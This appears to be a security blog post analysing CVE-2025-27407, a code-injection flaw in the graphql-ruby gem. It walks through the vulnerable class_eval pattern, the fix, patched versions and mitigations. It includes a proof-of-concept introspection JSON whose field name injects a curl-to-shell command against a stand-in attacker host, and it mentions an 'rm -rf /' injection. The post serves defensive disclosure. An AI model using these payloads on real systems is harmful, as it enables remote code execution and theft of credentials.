Schema to Shell: The GraphQL-Ruby Introspection Nightmare
Jan 12, 2026·7 min read
Executive Summary (TL;DR)
If your Ruby application loads GraphQL schemas from untrusted sources (like user uploads or external endpoints), you are likely vulnerable to RCE. The `graphql-ruby` gem was building code strings from schema names without validation. Update to the latest patch versions immediately.
A critical RCE in the popular `graphql-ruby` gem allows attackers to achieve remote code execution by providing malicious introspection data. By leveraging unsafe metaprogramming, specifically string-based `class_eval`, an attacker can inject arbitrary Ruby code during schema reconstruction.
The Hook: When Metadata Becomes Malware
In the world of modern APIs, GraphQL is the cool kid on the block. It’s strongly typed, self-documenting, and introspective. That last part—introspection—is usually a feature for developers. It allows tools to ask a server, "Hey, what does your data look like?" and get a JSON response describing every type, field, and argument. It’s the map of the territory.
But in the Ruby ecosystem, maps are sometimes drawn with nitroglycerin. CVE-2025-27407 exposes a terrifying reality in the graphql-ruby gem: the process of reading that map (introspection data) and building a Ruby object model from it was fundamentally broken. The library didn't just read the schema; it compiled parts of it directly into executable Ruby code using string interpolation.
Imagine you are an architect given a blueprint. Instead of just reading "Room: Kitchen," you inadvertently recite a magic spell written in the margin that burns the house down. That is exactly what happened here. By feeding a malicious schema definition to a vulnerable server, an attacker could turn a routine schema load into a full-blown Remote Code Execution (RCE) party. And since this library powers giants like GitLab, the blast radius is massive.
The Flaw: The Curse of Metaprogramming
Ruby is famous for its "magic"—metaprogramming capabilities that allow code to write code. It’s powerful, elegant, and, when used recklessly, absolutely catastrophic. The root cause of CVE-2025-27407 is a classic case of "String-to-Code Injection" (CWE-94), specifically involving class_eval.
To understand the bug, you have to look at how graphql-ruby handles input objects. When the gem loads a schema from an introspection result (a big JSON blob), it needs to define Ruby methods for each field on that input object so developers can access them easily. For performance reasons—or perhaps just old habits—the developers chose to generate these methods dynamically.
The logic went something like this: "Iterate through every argument name in the JSON. Create a string that defines a method with that name. Evaluate that string as Ruby code." Do you see the problem yet? They trusted the input. They assumed argument.name would be something innocent like firstName or email.
But eval doesn't care about innocence; it cares about syntax. If an attacker controls the introspection JSON, they control the strings being fed into the Ruby interpreter. There was no sanitization, no validation, and definitely no boundary checking. It’s the coding equivalent of letting a stranger write their name in wet cement, but the cement is actually your production database logic.
The Code: The Smoking Gun
Let’s look at the crime scene. The vulnerability lived primarily in lib/graphql/schema/input_object.rb (and similar locations like build_from_definition.rb). Here is the simplified vulnerable pattern that kept security researchers up at night:
# The Vulnerable Logic
arguments.each do |name, config|
# ... logic to setup ...
# The Fatal Flaw: String Interpolation into class_eval
class_eval <<-RUBY, __FILE__, __LINE__ + 1
def #{name}
self[#{name.inspect}]
end
RUBY
endIn the code above, #{name} is interpolated directly into the method definition string. If name is user_id, you get def user_id. Great. But what if name is foo; system('rm -rf /'); def bar?
The fix implemented by the maintainers in commit e58676c70aa695e3052ba1fbc787efee4ba7d67e (and others) was a pivot to safe metaprogramming. Instead of building dangerous strings, they switched to define_method, which accepts a block. Blocks are compiled code; they don't treat data as syntax.
# The Fix: Using define_method
arguments.each do |name, config|
# ... logic to setup ...
# Safe: The name is just a symbol, not code
define_method(name) do
self[name]
end
endAdditionally, they added a GraphQL::Schema::NameValidator to strictly enforce that GraphQL identifiers match the spec (alphanumeric and underscores), effectively neutering any attempt to inject punctuation like ; or " needed to break out of the syntax tree.
The Exploit: Breaking Out of the Box
Exploiting this requires an attacker to feed a malicious introspection JSON to the target. This scenario is common in development tools, CI/CD pipelines (like GitLab), or any service that "consumes" external GraphQL endpoints.
The Setup:
- The attacker sets up a malicious GraphQL endpoint or creates a JSON file mimicking a schema.
- The target application calls
GraphQL::Schema.from_introspection(json)orGraphQL::Client.load_schema(url).
The Payload:
We need to construct a JSON object where an INPUT_OBJECT has a field name that breaks Ruby syntax. We want to close the current method definition, execute our payload, and then start a new definition so the rest of the generated code remains valid (preventing a syntax error crash before execution).
{
"kind": "INPUT_OBJECT",
"name": "MaliciousInput",
"inputFields": [
{
"name": "dummy\"; system(\"curl http://attacker.com/revshell | sh\"); def dummy_continuation",
"type": { "kind": "SCALAR", "name": "String" }
}
]
}The Execution:
When graphql-ruby processes this, it interpolates the name into the class_eval string. The resulting Ruby code looks like this:
def dummy"; system("curl http://attacker.com/revshell | sh"); def dummy_continuation
self["..."]
endRuby executes this line by line. It sees def dummy. Then it sees the quote closing the string (which we didn't show here, but is part of the context). Crucially, the injection allows the system(...) call to sit outside any method body, or inside the class body, executing immediately when the class is defined. Boom. You have a shell.
The Impact: Why You Should Panic
This is a CVSS 9.1 Critical vulnerability for a reason. It is not a theoretical bypass; it is a direct path to arbitrary code execution. If you run a SaaS platform that integrates with user-defined GraphQL schemas—like GitLab does—you are essentially giving users a terminal on your backend servers.
The impact goes beyond simple data theft. An attacker can:
- Steal Environment Variables: Dump
ENVto get AWS keys, database credentials, and API tokens. - Lateral Movement: Use the compromised host to attack internal networks (SSRF on steroids).
- Persistence: Install backdoors that persist even after the gem is patched if the server isn't wiped.
GitLab had to patch this in versions 17.9.2, 17.8.5, and 17.7.7. The fact that a major DevOps platform was vulnerable highlights the ubiquity of this gem. It's the standard for Ruby GraphQL. If you use Ruby and GraphQL, you likely use this gem.
The Fix: Stopping the Bleeding
If you are running graphql-ruby, stop reading and check your Gemfile.lock. You need to be on a patched version now.
Patched Versions:
2.4.13+2.3.21+2.2.17+2.0.32+- (And corresponding patches for older branches like 1.13.24)
The fix involves three layers of defense:
- Strict Name Validation: The gem now uses regex to ensure identifiers look like
/[_a-zA-Z][_a-zA-Z0-9]*/. If you try to sneak in a quote or a semicolon, it throws an error before generating code. - No More Eval: The dangerous
class_evalstrings have been replaced withdefine_methodandclass_exec. This separates code from data at the interpreter level. - Static Analysis: The maintainers added a RuboCop rule to their development process to banish
class_evalwith strings forever. A little late, but good for future-proofing.
Mitigation (If you can't patch):
If you are stuck on legacy code, you MUST validate any introspection JSON before it touches the gem. Ensure every name field in the JSON matches ^[a-zA-Z_][a-zA-Z0-9_]*$. But seriously, just patch it. Writing your own parser for this is asking for trouble.
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
graphql-ruby Robert Mosolgo | < 2.4.13 | 2.4.13 |
graphql-ruby Robert Mosolgo | < 2.3.21 | 2.3.21 |
GitLab Community/Enterprise GitLab | 17.7.0 - 17.7.6 | 17.7.7 |
GitLab Community/Enterprise GitLab | 17.8.0 - 17.8.4 | 17.8.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 (Code Injection) |
| CVSS v3.1 | 9.1 (Critical) |
| Attack Vector | Network (Introspection Loading) |
| EPSS Score | 5.86% (High Probability) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
Improper Control of Generation of Code ('Code Injection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.